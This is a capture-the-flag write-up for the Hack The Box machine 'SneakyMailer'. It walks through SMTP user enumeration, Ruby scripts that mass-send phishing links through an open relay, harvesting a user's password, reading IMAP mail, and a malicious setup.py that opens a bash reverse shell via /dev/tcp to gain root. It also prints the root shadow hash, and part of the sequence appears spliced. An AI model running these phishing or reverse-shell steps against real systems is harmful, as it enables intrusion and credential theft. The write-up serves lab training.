Information
Box#
- Name: SneakyMailer
- Profile: www.hackthebox.eu
- Difficulty: Medium
- OS: Linux
- Points: 30
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
$ pacman -S nmap ffuf lynx ruby ruby-nokogiri swaks pwncat evolution filezilla
Network enumeration#
Port & service discovery with nmap:
# Nmap 7.80 scan initiated Sun Nov 8 16:50:55 2020 as: nmap -sSVC -p- -oA nmap_full -v 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.022s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: THREAD=ORDEREDSUBJECT IMAP4rev1 IDLE THREAD=REFERENCES SORT ENABLE ACL2=UNION UIDPLUS STARTTLS completed ACL CHILDREN UTF8=ACCEPTA0001 NAMESPACE OK QUOTA CAPABILITY
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after: 2021-05-14T17:14:21
| MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: THREAD=ORDEREDSUBJECT IMAP4rev1 IDLE THREAD=REFERENCES SORT ENABLE ACL2=UNION UIDPLUS completed ACL CHILDREN UTF8=ACCEPTA0001 AUTH=PLAIN NAMESPACE OK QUOTA CAPABILITY
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after: 2021-05-14T17:14:21
| MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 8 16:51:55 2020 -- 1 IP address (1 host up) scanned in 60.40 seconds
We can see there is a redirect from the web server on port 80 to http://sneakycorp.htb,
so let's add this local domain to /etc/hosts
:
$ cat /etc/hosts | grep sneak
10.10.10.197 sneakycorp.htb
HTTP enumeration#
Let's see if we can find links:
$ lynx -dump -listonly -nonumbers http://sneakycorp.htb/
Visible links:
http://sneakycorp.htb/index.php
http://sneakycorp.htb/team.php
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/
Hidden links:
http://sneakycorp.htb/index.php
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/
http://sneakycorp.htb/#page-top
Nothing useful, maybe the team page if we have a bruteforce to perform later.
Now we can try to find some sub-domains:
$ ffuf -u http://sneakycorp.htb/ -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -H 'Host: FUZZ.sneakycorp.htb' -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : http://sneakycorp.htb/
:: Wordlist : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Header : Host: FUZZ.sneakycorp.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 185
:: Filter : Response words: 6
:: Filter : Response lines: 8
________________________________________________
dev [Status: 200, Size: 13737, Words: 4007, Lines: 341]
:: Progress: [38267/38267] :: Job [1/1] :: 1807 req/sec :: Duration: [0:00:22] :: Errors: 0 ::
We can add dev.sneakycorp.htb
to /etc/hosts
:
$ cat /etc/hosts | grep sneak
10.10.10.197 sneakycorp.htb dev.sneakycorp.htb
The dev site looks the same but there is an additional page:
$ lynx -dump -listonly -nonumbers http://dev.sneakycorp.htb/
Visible links:
http://dev.sneakycorp.htb/index.php
http://dev.sneakycorp.htb/team.php
http://dev.sneakycorp.htb/pypi/register.php
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
Hidden links:
http://dev.sneakycorp.htb/index.php
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/
http://dev.sneakycorp.htb/#page-top
Let's try to register an account at http://dev.sneakycorp.htb/pypi/register.php
We don't know if it's working or if it's a rabbit hole and there is no login page anyway.
Service discovery#
The FTP is not accessible anonymously and we don't have credentials yet.
There are a SMTP and IMAP server. This also another web server on port 8080 but found nothing while enumerating.
SMTP & IMAP exploitation#
Let's connect to the SMTP server and try to verify some email addresses:
$ ncat sneakycorp.htb 25
220 debian ESMTP Postfix (Debian/GNU)
vrfy noraj@sneakymailer.htb
550 5.1.1 <noraj@sneakymailer.htb>: Recipient address rejected: User unknown in virtual mailbox table
vrfy airisatou@sneakymailer.htb
252 2.0.0 airisatou@sneakymailer.htb
So it means our account was not created after filling the registration form but emails listed on the team page seem valid.
I wrote a short ruby script to scrap & parse the website to extract the email addresses:
#! /usr/bin/env ruby
require 'nokogiri'
require 'open-uri'
doc = Nokogiri::HTML(URI.open('http://sneakycorp.htb/team.php'))
cells = doc.search('table#dataTable tbody tr td')
cells.each do |c|
puts c.text if /@sneakymailer.htb/.match?(c)
end
$ ruby grab_email.rb > emails.txt
If we want to verify all email addresses, we can re-use a Rubyfu - SMTP Enumeration script and modify it a bit.
#!/usr/bin/env ruby
require 'socket'
users = File.read('emails.txt').split("\n")
found = []
@s = TCPSocket.new('sneakycorp.htb', 25)
@banner = @s.recv(1024).chomp
users.each do |user|
@s.send "VRFY #{user} \n\r", 0
resp = @s.recv(1024).chomp
found << user if resp.split[2] == user
end
@s.close
puts "[*] Result:-"
puts "[+] Banner: " + @banner
puts "[+] Found users: \n#{found.join("\n")}"
In theory there is nmap script for that too but it didn't work in my case:
$ nmap --script smtp-enum-users.nse --script-args smtp-enum-users.methods={VRFY},userdb=$(pwd)/emails.txt -p 25 sneakycorp.htb
We can use another script to very available commands:
$ nmap --script smtp-commands.nse -pT:25 sneakycorp.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-08 19:03 CET
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.022s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
Nmap done: 1 IP address (1 host up) scanned in 10.36 seconds
There is another script to check for open relay but it doesn't work here (maybe because the anti-spam test target nmap.scanme.org by default).
$ nmap --script smtp-open-relay.nse -p 25 sneakycorp.htb --script-args smtp-open-relay.to=tigernixon@sneakymailer.htb,smtp-open-relay.from=noraj@sneakymailer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-08 19:09 CET
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.023s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed
Nmap done: 1 IP address (1 host up) scanned in 29.45 seconds
Before going farther I checked we can't read emails from the account we registered. The HackTricks - IMAP Syntax was useful for that.
$ ncat sneakycorp.htb 143
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
A1 LOGIN "noraj@sneakymailer.htb" "password"
A1 NO Login failed.
I seems the SMTP server is vulnerable to open relay:
An SMTP server that works as an open relay, is a email server that does not verify if the user is authorised to send email from the specified email address. Therefore, users would be able to send email originating from any third-party email address that they want.
$ ncat sneakycorp.htb 25
MA220 debian ESMTP Postfix (Debian/GNU)
MAIL from:noraj@sneakymailer.htb
250 2.1.0 Ok
RCPT to:tigernixon@sneakymailer.htb
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
hello open relay
.
250 2.0.0 Ok: queued as 4773E25011
I wrote a script to abuse of SMTP open relay and send a test email to all users:
#!/usr/bin/env ruby
require 'socket'
users = File.read('emails.txt').split("\n")
@s = TCPSocket.new('sneakycorp.htb', 25)
@banner = @s.recv(1024).chomp
users.each do |user|
@s.send "MAIL from:noraj@sneakymailer.htb \n\r", 0
@s.send "RCPT to:#{user} \n\r", 0
@s.send "DATA \n\r", 0
@s.send "test \r\n.\r\n", 0
resp = @s.recv(1024).chomp
puts resp
end
@s.close
puts "[*] Result:-"
puts "[+] Banner: " + @banner
Let's change the email body content, replacing test by phishing content like a link to our web server and hope one of the users will click it.
#!/usr/bin/env ruby
require 'socket'
users = File.read('emails.txt').split("\n")
@s = TCPSocket.new('sneakycorp.htb', 25)
@banner = @s.recv(1024).chomp
users.each do |user|
@s.send "MAIL from:noraj@sneakymailer.htb \n\r", 0
@s.send "RCPT to:#{user} \n\r", 0
@s.send "DATA \n\r", 0
@s.send "http://10.10.14.142:8080 \r\n.\r\n", 0
resp = @s.recv(1024).chomp
puts resp
end
@s.close
puts "[*] Result:-"
puts "[+] Banner: " + @banner
Nice Paul felt into the trick:
$ pwncat -l 8080 -vv
INFO: Listening on :::8080 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:8080 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.197:52994 (family 2/IPv4, TCP)
POST / HTTP/1.1
Host: 10.10.14.142:8080
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
Let's URL decode the POST body:
$ irb
irb(main):001:0> require 'cgi'
=> true
irb(main):002:0> puts CGI.unescape('firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J
%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt')
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
=> ni
So here are our creds: Hello administrator, I want to chang=
e this password for the developer account Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do i=
t paulbyrd@sneakymailer.htb
/
It seems that the username is not the full email address:
```
$ ncat sneakycorp.htb 143
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
A1 LOGIN "paulbyrd@sneakymailer.htb" "^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht"
A1 NO Login failed.
^C
$ ncat sneakycorp.htb 143
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
A1 LOGIN "paulbyrd" "^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht"
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
A1 OK LOGIN Ok.
A1 LIST "" *
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Queue"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
* LIST (\HasNoChildren) "." "INBOX.Drafts"
A1 OK LIST completed
```
I tried to connect to the IMAP server with Thunderbird and Kube but it
wasn't working but when I tried with Evolution it worked.
But it's possible to continue via raw IMAP:
```
A1 LIST "INBOX.Sent Items" *
A1 OK LIST completed
A1 SELECT "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
A1 OK [READ-WRITE] Ok
A1 FETCH 2 all
* 2 FETCH (FLAGS (\Seen) INTERNALDATE "23-Jun-2020 09:27:08 -0400" RFC822.SIZE 585 ENVELOPE ("Wed, 27 May 2020 13:28:58 -0400" "Module testing" (("Paul Byrd" NIL "paulbyrd" "sneakymailer.htb")) (("Paul Byrd" NIL "paulbyrd" "sneakymailer.htb")) (("Paul Byrd" NIL "paulbyrd" "sneakymailer.htb")) ((NIL NIL "low" "debian")) NIL NIL NIL "<4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>"))
A1 OK FETCH completed.
A1 FETCH 1 all
* 1 FETCH (FLAGS (\Seen) INTERNALDATE "27-May-2020 13:43:07 -0400" RFC822.SIZE 2167 ENVELOPE ("Fri, 15 May 2020 13:03:37 -0500" "Password reset" (("Paul Byrd" NIL "paulbyrd" "sneakymailer.htb")) (("Paul Byrd" NIL "paulbyrd" "sneakymailer.htb")) (("Paul Byrd" NIL "paulbyrd" "sneakymailer.htb")) (("root" NIL "root" "debian")) NIL NIL NIL NIL))
A1 OK FETCH completed.
A1 FETCH 2 body[text]
* 2 FETCH (BODY[TEXT] {166}
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
A1 OK FETCH completed.
A1 FETCH 1 body[text]
* 1 FETCH (BODY[TEXT] {1888}
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"
setup.py
import os
os.system("echo 'bash -i >&/dev/tcp/10.10.14.174/8080 0>&1' | /bin/bash")
When executed we retrieve the root shell:
root@sneakymailer:/tmp/pip-req-build-lp_bvi48# id
uid=0(root) gid=0(root) groups=0(root)
root@sneakymailer:/tmp/pip-req-build-lp_bvi48# cd
root@sneakymailer:~# cat root.txt
602b7d042c33e19fdf079cfef493eb60
root@sneakymailer:~# cat /etc/shadow | grep root
root:$6$jJW2Iy0Knfw7c6gr$/p2MAEhr7Fy4bMIT8szzgnSkL2kp8EaPKvGQ//cfcX0bMnazYHzNwWIsGaGwgceFyftI2Xihj0rrhUbfkrzhf.:18402:0:99999:7:::